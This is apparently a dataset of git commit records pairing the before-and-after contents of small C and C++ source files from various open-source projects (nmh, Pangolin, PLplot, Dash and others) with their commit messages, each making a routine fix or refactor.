{"commit":"f80e44e09a5669c6275880b8250346faca1c895a","old_file":"include\/gen.h","new_file":"include\/gen.h","old_contents":"#ifndef _GEN_H\n#define _GEN_H\n#define MAKEFILE \"Makefile\"\n\n#include <fstream>\n#include <sys\/param.h>\n\nclass Generate\n{\npublic:\n\tchar cwd[MAXPATHLEN];\n\tconst char *defaultMakefile;\n\tFILE *Makefile;\n\tFILE *newConfig;\n\n\tGenerate();\n\t~Generate();\n\tchar *DefineBaseDir();\n\tvoid WriteMake();\n\tvoid GenBlankConfig();\n\tvoid CheckFiles();\n\tvoid ListDir(const char *Path);\n\tint CheckMake();\n};\n#endif\n","new_contents":"#ifndef _GEN_H\n#define _GEN_H\n\n#define MAKEFILE \"Makefile\"\n#define FS_NONE 0\n#define FS_RECURSIVE (1 << 0)\n#define FS_DEFAULT FS_RECURSIVE\n#define FS_FOLLOWLINK (1 << 1)\n#define FS_DOTFILES (1 << 2)\n#define FS_MATCHDIRS (1 << 3)\n\n#include <regex.h>\n#include <unistd.h>\n#include <sys\/param.h>\n#include <fstream>\n\nclass Generate\n{\npublic:\n\tchar cwd[MAXPATHLEN];\n\tchar *currentDir = get_current_dir_name();\n\tconst char *defaultMakefile;\n\tFILE *Makefile;\n\tFILE *newConfig;\n\n\tGenerate();\n\t~Generate();\n\tchar *DefineBaseDir();\n\tvoid WriteMake();\n\tvoid Walk();\n\tvoid GenBlankConfig();\n\tvoid CheckFiles();\n\tint CheckConfigExists();\n\tint CheckMake();\n\tint GenMakeFromTemplate();\n\tint WalkDir(const char *DirName, char *Pattern, int Spec);\n\tint WalkRecur(const char *DirName, regex_t *Expr, int Spec);\n};\n#endif\n","subject":"Add FS defines, move includes, add member functions","message":"Add FS defines, move includes, add member functions\n\n\t- Defines define flags for WalkDir\n\t- Fix includes order to that of:\n\t\tC includes\n\t\tC++ includes\n\t\tProject includes\n\t\tExternal library includes\n\nSigned-off-by: Alberto Corona <c1a4158909d6c23f73df353c7cc0bbe963891a65@0x1a.us>\n","lang":"C","license":"bsd-3-clause","repos":"0X1A\/yabs,0X1A\/yabs,0X1A\/yabs,0X1A\/yabs"}
{"commit":"ce1e00ffe08ac93999ac87a1308096fa0a3e3673","old_file":"SmartDeviceLink-iOS\/SmartDeviceLink\/SDLProtocol.h","new_file":"SmartDeviceLink-iOS\/SmartDeviceLink\/SDLProtocol.h","old_contents":"\/\/  SDLSmartDeviceLinkProtocol.h\n\/\/\n\n#import \"SDLAbstractProtocol.h\"\n@class SDLProtocolHeader;\n@class SDLProtocolRecievedMessageRouter;\n\n\n@interface SDLProtocol : SDLAbstractProtocol <SDLProtocolListener>\n\n\/\/ Sending\n- (void)sendStartSessionWithType:(SDLServiceType)serviceType;\n- (void)sendEndSessionWithType:(SDLServiceType)serviceType sessionID:(Byte)sessionID;\n- (void)sendRPC:(SDLRPCMessage *)message;\n- (void)sendRPCRequest:(SDLRPCRequest *)rpcRequest __deprecated_msg((\"Use sendRPC: instead\"));\n- (void)sendHeartbeat;\n- (void)sendRawData:(NSData *)data withServiceType:(SDLServiceType)serviceType;\n\n\/\/ Recieving\n- (void)handleBytesFromTransport:(NSData *)receivedData;\n\n@end\n","new_contents":"\/\/  SDLSmartDeviceLinkProtocol.h\n\/\/\n\n#import \"SDLAbstractProtocol.h\"\n@class SDLProtocolHeader;\n@class SDLProtocolRecievedMessageRouter;\n\n\n@interface SDLProtocol : SDLAbstractProtocol <SDLProtocolListener>\n\n\/\/ Sending\n- (void)sendStartSessionWithType:(SDLServiceType)serviceType;\n- (void)sendEndSessionWithType:(SDLServiceType)serviceType sessionID:(Byte)sessionID;\n- (void)sendRPC:(SDLRPCMessage *)message;\n- (void)sendRPCRequest:(SDLRPCRequest *)rpcRequest __deprecated_msg((\"Use sendRPC: instead\"));\n- (void)sendRawData:(NSData *)data withServiceType:(SDLServiceType)serviceType;\n\n\/\/ Recieving\n- (void)handleBytesFromTransport:(NSData *)receivedData;\n\n@end\n","subject":"Remove the public sendHeartbeat declaration","message":"Remove the public sendHeartbeat declaration\n","lang":"C","license":"bsd-3-clause","repos":"FordDev\/sdl_ios,davidswi\/sdl_ios,duydb2\/sdl_ios,kshala-ford\/sdl_ios,smartdevicelink\/sdl_ios,APCVSRepo\/sdl_ios,APCVSRepo\/sdl_ios,duydb2\/sdl_ios,APCVSRepo\/sdl_ios,FordDev\/sdl_ios,davidswi\/sdl_ios,FordDev\/sdl_ios,kshala-ford\/sdl_ios,smartdevicelink\/sdl_ios,kshala-ford\/sdl_ios,smartdevicelink\/sdl_ios,davidswi\/sdl_ios,kshala-ford\/sdl_ios,FordDev\/sdl_ios,APCVSRepo\/sdl_ios,kshala-ford\/sdl_ios,davidswi\/sdl_ios,FordDev\/sdl_ios,duydb2\/sdl_ios,davidswi\/sdl_ios,smartdevicelink\/sdl_ios,adein\/sdl_ios,adein\/sdl_ios,APCVSRepo\/sdl_ios,smartdevicelink\/sdl_ios"}
{"commit":"67ecca456198488c4fd19d237d7387a80b494421","old_file":"include\/Graphics.h","new_file":"include\/Graphics.h","old_contents":"#ifndef INCLUDE_GRAPHICS_H\n#define INCLUDE_GRAPHICS_H\n\nnamespace WalrusRPG\n{\n    namespace Graphics\n    {\n        typedef struct Rect Rect_t;\n        struct Rect\n        {\n            int x, y;\n            unsigned w, h;\n        };\n\n        \/*\n\t * Buffer management\n\t *\/\n\n        void buffer_allocate();\n        void buffer_free();\n        void buffer_swap();\n        void buffer_fill(unsigned color);\n\n\n        \/*\n\t * Misc LCD functions\n\t *\/\n\n        void lcd_vsync();\n\n\n        \/*\n\t * Drawing\n\t *\/\n\n        void draw_pixel(unsigned x, unsigned y, unsigned short color);\n        void draw_sprite_sheet(const unsigned short *sheet, int x, int y, const Rect_t *window);\n\n\n        \/*\n\t * Sprite manipulation\n\t *\/\n\n        unsigned short sprite_pixel_get(const unsigned short *sprite, unsigned x, unsigned y);\n    }\n}\n\n#endif\n","new_contents":"#ifndef INCLUDE_GRAPHICS_H\n#define INCLUDE_GRAPHICS_H\n\nnamespace WalrusRPG\n{\n    namespace Graphics\n    {\n        typedef struct Rect Rect_t;\n        struct Rect\n        {\n            int x, y;\n            int w, h;\n        };\n\n        \/*\n\t * Buffer management\n\t *\/\n\n        void buffer_allocate();\n        void buffer_free();\n        void buffer_swap();\n        void buffer_fill(unsigned color);\n\n\n        \/*\n\t * Misc LCD functions\n\t *\/\n\n        void lcd_vsync();\n\n\n        \/*\n\t * Drawing\n\t *\/\n\n        void draw_pixel(unsigned x, unsigned y, unsigned short color);\n        void draw_sprite_sheet(const unsigned short *sheet, int x, int y, const Rect_t *window);\n\n\n        \/*\n\t * Sprite manipulation\n\t *\/\n\n        unsigned short sprite_pixel_get(const unsigned short *sprite, unsigned x, unsigned y);\n    }\n}\n\n#endif\n","subject":"Fix sprite clipping by using signed rect width","message":"Fix sprite clipping by using signed rect width\n","lang":"C","license":"mit","repos":"WalrusRPG\/WalrusRPG,WalrusRPG\/WalrusRPG,WalrusRPG\/WalrusRPG,WalrusRPG\/WalrusRPG"}
{"commit":"9e9081110bd7b2390c27247f32379b58501143de","old_file":"src\/dsnotificationinterface.h","new_file":"src\/dsnotificationinterface.h","old_contents":"\/\/ Copyright (c) 2015 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef BITCOIN_DSNOTIFICATIONINTERFACE_H\n#define BITCOIN_DSNOTIFICATIONINTERFACE_H\n\n#include \"validationinterface.h\"\n\nclass CDSNotificationInterface : public CValidationInterface\n{\npublic:\n    CDSNotificationInterface(CConnman& connmanIn): connman(connmanIn) {}\n    virtual ~CDSNotificationInterface() = default;\n\n    \/\/ a small helper to initialize current block height in sub-modules on startup\n    void InitializeCurrentBlockTip();\n\nprotected:\n    \/\/ CValidationInterface\n    void AcceptedBlockHeader(const CBlockIndex *pindexNew) override;\n    void NotifyHeaderTip(const CBlockIndex *pindexNew, bool fInitialDownload) override;\n    void UpdatedBlockTip(const CBlockIndex *pindexNew, const CBlockIndex *pindexFork, bool fInitialDownload) override;\n    void NewPoWValidBlock(const CBlockIndex *pindex, const std::shared_ptr<const CBlock>& block) override;\n    void SyncTransaction(const CTransaction &tx, const CBlockIndex *pindex, int posInBlock) override;\n    void NotifyMasternodeListChanged(const CDeterministicMNList& newList) override;\n    void NotifyChainLock(const CBlockIndex* pindex);\n\nprivate:\n    CConnman& connman;\n};\n\n#endif \/\/ BITCOIN_DSNOTIFICATIONINTERFACE_H\n","new_contents":"\/\/ Copyright (c) 2015 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef BITCOIN_DSNOTIFICATIONINTERFACE_H\n#define BITCOIN_DSNOTIFICATIONINTERFACE_H\n\n#include \"validationinterface.h\"\n\nclass CDSNotificationInterface : public CValidationInterface\n{\npublic:\n    CDSNotificationInterface(CConnman& connmanIn): connman(connmanIn) {}\n    virtual ~CDSNotificationInterface() = default;\n\n    \/\/ a small helper to initialize current block height in sub-modules on startup\n    void InitializeCurrentBlockTip();\n\nprotected:\n    \/\/ CValidationInterface\n    void AcceptedBlockHeader(const CBlockIndex *pindexNew) override;\n    void NotifyHeaderTip(const CBlockIndex *pindexNew, bool fInitialDownload) override;\n    void UpdatedBlockTip(const CBlockIndex *pindexNew, const CBlockIndex *pindexFork, bool fInitialDownload) override;\n    void NewPoWValidBlock(const CBlockIndex *pindex, const std::shared_ptr<const CBlock>& block) override;\n    void SyncTransaction(const CTransaction &tx, const CBlockIndex *pindex, int posInBlock) override;\n    void NotifyMasternodeListChanged(const CDeterministicMNList& newList) override;\n    void NotifyChainLock(const CBlockIndex* pindex) override;\n\nprivate:\n    CConnman& connman;\n};\n\n#endif \/\/ BITCOIN_DSNOTIFICATIONINTERFACE_H\n","subject":"Add override keywork to CDSNotificationInterface::NotifyChainLock","message":"Add override keywork to CDSNotificationInterface::NotifyChainLock\n","lang":"C","license":"mit","repos":"nmarley\/dash,dashpay\/dash,ionomy\/ion,nmarley\/dash,thelazier\/dash,nmarley\/dash,dashpay\/dash,nmarley\/dash,UdjinM6\/dash,thelazier\/dash,ionomy\/ion,ionomy\/ion,ionomy\/ion,dashpay\/dash,nmarley\/dash,ionomy\/ion,UdjinM6\/dash,thelazier\/dash,UdjinM6\/dash,nmarley\/dash,ionomy\/ion,UdjinM6\/dash,dashpay\/dash,thelazier\/dash,thelazier\/dash,nmarley\/dash,dashpay\/dash,UdjinM6\/dash"}
{"commit":"7c8e66c785b1188687b3eb0363ae52c0cdc898ec","old_file":"src\/opticon-agent\/probes.c","new_file":"src\/opticon-agent\/probes.c","old_contents":"#include <sys\/utsname.h>\n#include <libopticonf\/var.h>\n#include \"probes.h\"\n\n\/** List of built-in probe functions *\/\nbuiltinfunc BUILTINS[] = {\n    {\"probe_pcpu\", runprobe_pcpu},\n    {\"probe_hostname\", runprobe_hostname},\n    {\"probe_uname\", runprobe_uname},\n    {NULL, NULL}\n};\n\nvar *runprobe_pcpu (probe *self) {\n    var *res = var_alloc();\n    var_set_double_forkey (res, \"pcpu\", ((double)(rand()%1000))\/10.0);\n    return res;\n}\n\nvar *runprobe_hostname (probe *self) {\n    var *res = var_alloc();\n    var_set_str_forkey (res, \"hostname\", \"srv1.heikneuter.nl\");\n    return res;\n}\n\nvar *runprobe_uname (probe *self) {\n    char out[256];\n    var *res = var_alloc();\n    struct utsname uts;\n    uname (&uts);\n    sprintf (out, \"%s %s %s\", uts.sysname,\n             uts.release, uts.machine);\n    var_set_str_forkey (res, \"uname\", out);\n    return res;\n}\n","new_contents":"#include <sys\/utsname.h>\n#include <unistd.h>\n#include <libopticonf\/var.h>\n#include \"probes.h\"\n\n\/** List of built-in probe functions *\/\nbuiltinfunc BUILTINS[] = {\n    {\"probe_pcpu\", runprobe_pcpu},\n    {\"probe_hostname\", runprobe_hostname},\n    {\"probe_uname\", runprobe_uname},\n    {NULL, NULL}\n};\n\nvar *runprobe_pcpu (probe *self) {\n    var *res = var_alloc();\n    var_set_double_forkey (res, \"pcpu\", ((double)(rand()%1000))\/10.0);\n    return res;\n}\n\nvar *runprobe_hostname (probe *self) {\n    char out[256];\n    gethostname (out, 255);\n    var *res = var_alloc();\n    var_set_str_forkey (res, \"hostname\", out);\n    return res;\n}\n\nvar *runprobe_uname (probe *self) {\n    char out[256];\n    var *res = var_alloc();\n    struct utsname uts;\n    uname (&uts);\n    sprintf (out, \"%s %s %s\", uts.sysname,\n             uts.release, uts.machine);\n    var_set_str_forkey (res, \"uname\", out);\n    return res;\n}\n","subject":"Make the hostname probe for real","message":"Make the hostname probe for real\n","lang":"C","license":"apache-2.0","repos":"CloudVPS\/opticon,CloudVPS\/opticon,CloudVPS\/opticon"}
{"commit":"348d46bd97e8fb2432685d931210b72827060b5d","old_file":"sbr\/m_name.c","new_file":"sbr\/m_name.c","old_contents":"\n\/*\n * m_name.c -- return a message number as a string\n *\n * This code is Copyright (c) 2002, by the authors of nmh.  See the\n * COPYRIGHT file in the root directory of the nmh distribution for\n * complete copyright information.\n *\/\n\n#include <limits.h>\n#include <h\/mh.h>\n\n#define STR(s) #s\n#define SIZE(n) (sizeof STR(n)) \/* Includes NUL. *\/\n\nchar *\nm_name (int num)\n{\n    static char name[SIZE(INT_MAX)];\n\n    if (num <= 0)\n\treturn \"?\";\n\n    sprintf(name, \"%d\", num);\n\n    return name;\n}\n","new_contents":"\n\/*\n * m_name.c -- return a message number as a string\n *\n * This code is Copyright (c) 2002, by the authors of nmh.  See the\n * COPYRIGHT file in the root directory of the nmh distribution for\n * complete copyright information.\n *\/\n\n#include <limits.h>\n#include <h\/mh.h>\n\n#define STR(s) #s\n#define SIZE(n) (sizeof STR(n)) \/* Includes NUL. *\/\n\nchar *\nm_name (int num)\n{\n    static char name[SIZE(INT_MAX)];\n\n    if (num <= 0)\n\treturn \"?\";\n\n    snprintf(name, sizeof name, \"%d\", num);\n\n    return name;\n}\n","subject":"Use the imperfect snprintf(3) instead of sprintf(3).","message":"Use the imperfect snprintf(3) instead of sprintf(3).\n","lang":"C","license":"bsd-3-clause","repos":"mcr\/nmh,mcr\/nmh"}
{"commit":"81b82f44a2350144bb49c52f1b11a9cfc84da0cd","old_file":"ui\/options.h","new_file":"ui\/options.h","old_contents":"#pragma once\n\n#include <QtWidgets\/QComboBox>\n#include <QtWidgets\/QDialog>\n#include <QtWidgets\/QLabel>\n#include <QtCore\/QObject>\n#include <QtCore\/QString>\n#include <QtWidgets\/QTabWidget>\n#include <QtWidgets\/QWidget>\n#include \"binaryninjaapi.h\"\n#include \"viewtype.h\"\n#include \"filecontext.h\"\n\n#include <string>\n#include <tuple>\n#include <vector>\n\nclass BINARYNINJAUIAPI OptionsDialog: public QDialog\n{\n\tQ_OBJECT\n\n\tQString m_fileName;\n\tQLabel* m_fileLabel;\n\tQLabel* m_objectLabel;\n\tQComboBox* m_objectCombo;\n\tQTabWidget* m_tab;\n\tQLabel* m_notification;\n\n\tbool m_isDatabase;\n\tFileContext* m_file = nullptr;\n\tFileMetadataRef m_fileMetadata = nullptr;\n\tBinaryViewRef m_rawData = nullptr;\n\tstd::vector<std::tuple<std::string, size_t, std::string, uint64_t, uint64_t, std::string>> m_objects;\n\npublic:\n\tOptionsDialog(QWidget* parent, const QString& name);\n\tvirtual ~OptionsDialog();\n\nQ_SIGNALS:\n\tvoid openFile(FileContext* file);\n\nprivate Q_SLOTS:\n\tvoid cancel();\n\tvoid open();\n\tvoid addSettingsViewForType(const std::string& bvtName);\n\tvoid queryViewTypes();\n\tvoid viewTabCloseRequested(int index);\n};\n","new_contents":"#pragma once\n\n#include <QtWidgets\/QComboBox>\n#include <QtWidgets\/QDialog>\n#include <QtWidgets\/QLabel>\n#include <QtCore\/QObject>\n#include <QtCore\/QString>\n#include <QtWidgets\/QTabWidget>\n#include <QtWidgets\/QWidget>\n#include \"binaryninjaapi.h\"\n#include \"viewtype.h\"\n#include \"filecontext.h\"\n\n#include <string>\n#include <tuple>\n#include <vector>\n\nclass BINARYNINJAUIAPI OptionsDialog: public QDialog\n{\n\tQ_OBJECT\n\n\tQString m_fileName;\n\tQLabel* m_fileLabel;\n\tQLabel* m_objectLabel;\n\tQComboBox* m_objectCombo;\n\tQTabWidget* m_tab;\n\tQLabel* m_notification;\n\n\tbool m_isDatabase;\n\tFileContext* m_file = nullptr;\n\tFileMetadataRef m_fileMetadata = nullptr;\n\tBinaryViewRef m_rawData = nullptr;\n\tstd::vector<std::tuple<std::string, size_t, std::string, uint64_t, uint64_t, std::string>> m_objects;\n\npublic:\n\tOptionsDialog(QWidget* parent, const QString& name);\n\tvirtual ~OptionsDialog();\n\tbool loadViews();\n\nQ_SIGNALS:\n\tvoid openFile(FileContext* file);\n\nprivate Q_SLOTS:\n\tvoid cancel();\n\tvoid open();\n\tvoid addSettingsViewForType(const std::string& bvtName);\n\tvoid viewTabCloseRequested(int index);\n};\n","subject":"Move OptionsDialog::queryViewTypes into public bool method","message":"Move OptionsDialog::queryViewTypes into public bool method\n\nFixes #2856\n","lang":"C","license":"mit","repos":"Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api"}
{"commit":"7761f46e8e6cb1bf8fc11c3df7a6b93d1cbe41bf","old_file":"simple_module.c","new_file":"simple_module.c","old_contents":"#include \"mruby.h\"\n#include \"mruby\/irep.h\"\n#include \"mruby\/string.h\"\n\n#include \"simple_module_mrb.h\"\n\nstatic mrb_value foo_bar(mrb_state* mrb, mrb_value obj)\n{\n  mrb_value message;\n  mrb_get_args(mrb, \"o\", &message);\n\n  if (!mrb_nil_p(message))\n  {\n    fprintf(stderr, \"bar: %s\\n\", mrb_str_ptr(message)->ptr);\n  }\n\n  return mrb_nil_value();\n}\n\nint main(void)\n{\n  mrb_state *mrb = mrb_open();\n\n  struct RClass *foo_module = mrb_define_module(mrb, \"Foo\");\n\n  mrb_define_class_method(mrb, foo_module, \"bar\", foo_bar, ARGS_REQ(1));\n\n  mrb_load_irep(mrb, simple_module_mrb);\n\n  mrb_close(mrb);\n\n  return 0;\n}\n","new_contents":"#include \"mruby.h\"\n#include \"mruby\/irep.h\"\n#include \"mruby\/string.h\"\n\n#include \"simple_module_mrb.h\"\n\nstatic mrb_value foo_bar(mrb_state* mrb, mrb_value obj)\n{\n  mrb_value message;\n  mrb_get_args(mrb, \"S\", &message);\n\n  if (!mrb_nil_p(message))\n  {\n    fprintf(stderr, \"bar: %s\\n\", mrb_str_ptr(message)->ptr);\n  }\n\n  return mrb_nil_value();\n}\n\nint main(void)\n{\n  mrb_state *mrb = mrb_open();\n\n  struct RClass *foo_module = mrb_define_module(mrb, \"Foo\");\n\n  mrb_define_class_method(mrb, foo_module, \"bar\", foo_bar, ARGS_REQ(1));\n\n  mrb_load_irep(mrb, simple_module_mrb);\n\n  mrb_close(mrb);\n\n  return 0;\n}\n","subject":"Change object to string input","message":"Change object to string input\n","lang":"C","license":"mit","repos":"carsonmcdonald\/mruby-c-example,carsonmcdonald\/mruby-c-example,carsonmcdonald\/mruby-c-example"}
{"commit":"9c00e4c82100cf773abe21a5209b80fe67c22064","old_file":"src\/config.h","new_file":"src\/config.h","old_contents":"#ifndef _CONFIG_H\n#define _CONFIG_H\n\n#define ENABLE_FUTILITY_DEPTH 4\n#define ENABLE_HISTORY 1\n#define ENABLE_KILLERS 1\n#define ENABLE_LMR 1\n#define ENABLE_NNUE 0\n#define ENABLE_NNUE_SIMD 0\n#define ENABLE_NULL_MOVE_PRUNING 1\n#define ENABLE_REVERSE_FUTILITY_DEPTH 4\n#define ENABLE_SEE_Q_PRUNE_LOSING_CAPTURES 1\n#define ENABLE_TIMER_ASPIRATION_FAILURE 0\n#define ENABLE_TT_CUTOFFS 1\n#define ENABLE_TT_MOVES 1\n\n#endif\n","new_contents":"#ifndef _CONFIG_H\n#define _CONFIG_H\n\n#define ENABLE_FUTILITY_DEPTH 4\n#define ENABLE_HISTORY 1\n#define ENABLE_KILLERS 1\n#define ENABLE_LMR 1\n#define ENABLE_NNUE 0\n#define ENABLE_NNUE_SIMD 0\n#define ENABLE_NULL_MOVE_PRUNING 1\n#define ENABLE_REVERSE_FUTILITY_DEPTH 4\n#define ENABLE_SEE_Q_PRUNE_LOSING_CAPTURES 1\n#define ENABLE_TIMER_ASPIRATION_FAILURE 1\n#define ENABLE_TT_CUTOFFS 1\n#define ENABLE_TT_MOVES 1\n\n#endif\n","subject":"Enable more time on aspiration failure","message":"Enable more time on aspiration failure\n","lang":"C","license":"bsd-3-clause","repos":"jwatzman\/nameless-chessbot,jwatzman\/nameless-chessbot"}
{"commit":"97141b968258e9213c77bf3dcd481bdbb3b9e832","old_file":"Framework\/Cocoa3D\/C3DObject.h","new_file":"Framework\/Cocoa3D\/C3DObject.h","old_contents":"\/\/\n\/\/  C3DObject.h\n\/\/  Cocoa3D\n\/\/\n\/\/  Created by Brent Gulanowski on 2014-07-11.\n\/\/  Copyright (c) 2014 Lichen Labs. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#import <Cocoa3D\/C3DCamera.h>\n\n@class C3DIndexBuffer, C3DNode, C3DProgram, C3DVertexBuffer;\n\n@interface C3DObject : NSObject<C3DVisible>\n\n@property (nonatomic, weak) C3DNode *node;\n@property (nonatomic, strong) C3DProgram *program;\n@property (nonatomic, strong) C3DIndexBuffer *indexElements;\n@property (nonatomic, strong) NSArray *vertexBuffers;\n@property (nonatomic) BOOL ignoresTransform;\n\n- (instancetype)initWithType:(C3DObjectType)type;\n\n@end\n","new_contents":"\/\/\n\/\/  C3DObject.h\n\/\/  Cocoa3D\n\/\/\n\/\/  Created by Brent Gulanowski on 2014-07-11.\n\/\/  Copyright (c) 2014 Lichen Labs. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#import <Cocoa3D\/C3DCamera.h>\n\n@class C3DIndexBuffer, C3DNode, C3DProgram, C3DVertexBuffer;\n\n@interface C3DObject : NSObject<C3DVisible>\n\n@property (nonatomic, weak) C3DNode *node;\n@property (nonatomic, strong) C3DProgram *program;\n@property (nonatomic, strong) C3DIndexBuffer *indexElements;\n@property (nonatomic, strong) NSArray *vertexBuffers;\n@property (nonatomic, strong) NSString *name;\n@property (nonatomic) BOOL ignoresTransform;\n\n- (instancetype)initWithType:(C3DObjectType)type;\n\n@end\n","subject":"Add \"name\" property for convenience.","message":"Add \"name\" property for convenience.\n","lang":"C","license":"mit","repos":"bgulanowski\/Cocoa3D"}
{"commit":"65f1b0993cd2c45a90c0f54b3f47d3f5148bfe11","old_file":"src\/lib\/ldm.h","new_file":"src\/lib\/ldm.h","old_contents":"\/*\n * This file is part of linux-driver-management.\n *\n * Copyright © 2016-2017 Ikey Doherty\n *\n * linux-driver-management is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation; either version 2.1\n * of the License, or (at your option) any later version.\n *\/\n\n#pragma once\n\n#include <device.h>\n#include <driver.h>\n#include <gpu-config.h>\n#include <ldm-enums.h>\n#include <manager.h>\n#include <modalias.h>\n#include <pci-device.h>\n#include <usb-device.h>\n\n#include <drivers\/modalias-driver.h>\n\n\/*\n * Editor modelines  -  https:\/\/www.wireshark.org\/tools\/modelines.html\n *\n * Local variables:\n * c-basic-offset: 8\n * tab-width: 8\n * indent-tabs-mode: nil\n * End:\n *\n * vi: set shiftwidth=8 tabstop=8 expandtab:\n * :indentSize=8:tabSize=8:noTabs=true:\n *\/\n","new_contents":"\/*\n * This file is part of linux-driver-management.\n *\n * Copyright © 2016-2017 Ikey Doherty\n *\n * linux-driver-management is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation; either version 2.1\n * of the License, or (at your option) any later version.\n *\/\n\n#pragma once\n\n#include <device.h>\n#include <driver.h>\n#include <gpu-config.h>\n#include <ldm-enums.h>\n#include <manager.h>\n#include <modalias.h>\n\n\/* Specialised devices *\/\n#include <dmi-device.h>\n#include <pci-device.h>\n#include <usb-device.h>\n\n#include <drivers\/modalias-driver.h>\n\n\/*\n * Editor modelines  -  https:\/\/www.wireshark.org\/tools\/modelines.html\n *\n * Local variables:\n * c-basic-offset: 8\n * tab-width: 8\n * indent-tabs-mode: nil\n * End:\n *\n * vi: set shiftwidth=8 tabstop=8 expandtab:\n * :indentSize=8:tabSize=8:noTabs=true:\n *\/\n","subject":"Include DmiDevice as part of global includes","message":"Include DmiDevice as part of global includes\n\nSigned-off-by: Ikey Doherty <d8d992cf0016e35c2a8339d5e7d44bebd12a2d77@solus-project.com>\n","lang":"C","license":"lgpl-2.1","repos":"solus-project\/linux-driver-management,solus-project\/linux-driver-management"}
{"commit":"cdeb97c03824cdefeaa617800c033c0c03ee5902","old_file":"include\/pangolin\/utils\/memstreambuf.h","new_file":"include\/pangolin\/utils\/memstreambuf.h","old_contents":"#pragma once\n\n#include <streambuf>\n#include <vector>\n\nnamespace pangolin {\n\n\/\/ A simple streambuf wrapper around std::vector for memory buffer use\nstruct memstreambuf : public std::streambuf\n{\npublic:\n    memstreambuf(size_t initial_buffer_size)\n    {\n        buffer.reserve(initial_buffer_size);\n    }\n\n    size_t size() const\n    {\n        return buffer.size();\n    }\n\n    const unsigned char* data() const\n    {\n        return buffer.data();\n    }\n\n    void clear()\n    {\n        buffer.clear();\n    }\n\n    std::vector<unsigned char> buffer;\n\nprotected:\n    std::streamsize xsputn(const char_type* __s, std::streamsize __n) override\n    {\n        buffer.insert(buffer.end(), __s, __s + __n);\n        return __n;\n    }\n\n    int_type overflow(int_type __c) override\n    {\n        buffer.push_back( static_cast<unsigned char>(__c) );\n        return __c;\n    }\n};\n\n}\n","new_contents":"#pragma once\n\n#include <streambuf>\n#include <vector>\n\nnamespace pangolin {\n\n\/\/ A simple streambuf wrapper around std::vector for memory buffer use\nstruct memstreambuf : public std::streambuf\n{\npublic:\n    memstreambuf(size_t initial_buffer_size)\n    {\n        buffer.reserve(initial_buffer_size);\n    }\n\n    \/\/ Avoiding use of std::streambuf's move constructor, since it is missing for old GCC\n    memstreambuf(memstreambuf&& o)\n        : buffer(std::move(o.buffer))\n    {\n        pubseekpos(o.pubseekoff(0, std::ios_base::cur));\n    }\n\n    size_t size() const\n    {\n        return buffer.size();\n    }\n\n    const unsigned char* data() const\n    {\n        return buffer.data();\n    }\n\n    void clear()\n    {\n        buffer.clear();\n    }\n\n    std::vector<unsigned char> buffer;\n\nprotected:\n    std::streamsize xsputn(const char_type* __s, std::streamsize __n) override\n    {\n        buffer.insert(buffer.end(), __s, __s + __n);\n        return __n;\n    }\n\n    int_type overflow(int_type __c) override\n    {\n        buffer.push_back( static_cast<unsigned char>(__c) );\n        return __c;\n    }\n};\n\n}\n","subject":"Fix for old GCC compilers. Avoid trying to use std::streambuf's move constructor","message":"Fix for old GCC compilers. Avoid trying to use std::streambuf's move constructor\n","lang":"C","license":"mit","repos":"mp3guy\/Pangolin,tschmidt23\/Pangolin,mp3guy\/Pangolin,stevenlovegrove\/Pangolin,renzodenardi\/Pangolin,tschmidt23\/Pangolin,mp3guy\/Pangolin,tschmidt23\/Pangolin,renzodenardi\/Pangolin,stevenlovegrove\/Pangolin,stevenlovegrove\/Pangolin"}
{"commit":"924b003200d2d2a34a4903c074399a862e1c777d","old_file":"examples\/c\/test_plend.c","new_file":"examples\/c\/test_plend.c","old_contents":"\/* $Id$\n\n\tplend and plend1 testing demo.\n*\/\n\n#include \"plcdemos.h\"\n\n\/*--------------------------------------------------------------------------*\\\n * main\n *\n * Demonstrates absolute positioning of graphs on a page.\n\\*--------------------------------------------------------------------------*\/\n\nint\nmain(int argc, const char *argv[])\n{\n\n\/* Parse and process command line arguments *\/\n\n    (void) plparseopts(&argc, argv, PL_PARSE_FULL);\n\n\/* Initialize plplot *\/\n\n    plinit();\n    plenv(0., 1., 0., 1., 1, 0);\n    plend1();\n    plinit();\n    plenv(0., 10., 0., 10., 1, 0);\n    plend();\n    exit(0);\n}\n","new_contents":"\/* $Id$\n\n\tplend and plend1 testing demo.\n*\/\n\n#include \"plcdemos.h\"\n\n\/*--------------------------------------------------------------------------*\\\n * main\n *\n * Demonstrates absolute positioning of graphs on a page.\n\\*--------------------------------------------------------------------------*\/\n\nint\nmain(int argc, const char *argv[])\n{\n\n\/* Parse and process command line arguments *\/\n\n    (void) plparseopts(&argc, argv, PL_PARSE_FULL);\n\n\/* Initialize plplot *\/\n\n    plinit();\n    plenv(0., 1., 0., 1., 1, 0);\n    plend();\n    plinit();\n    plenv(0., 10., 0., 10., 1, 0);\n    plend();\n    exit(0);\n}\n","subject":"Change from plend1 to plend to generate errors for devices that have trouble for that case.","message":"Change from plend1 to plend to generate errors for devices that have\ntrouble for that case.\n\nsvn path=\/trunk\/; revision=10350\n","lang":"C","license":"lgpl-2.1","repos":"FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot"}
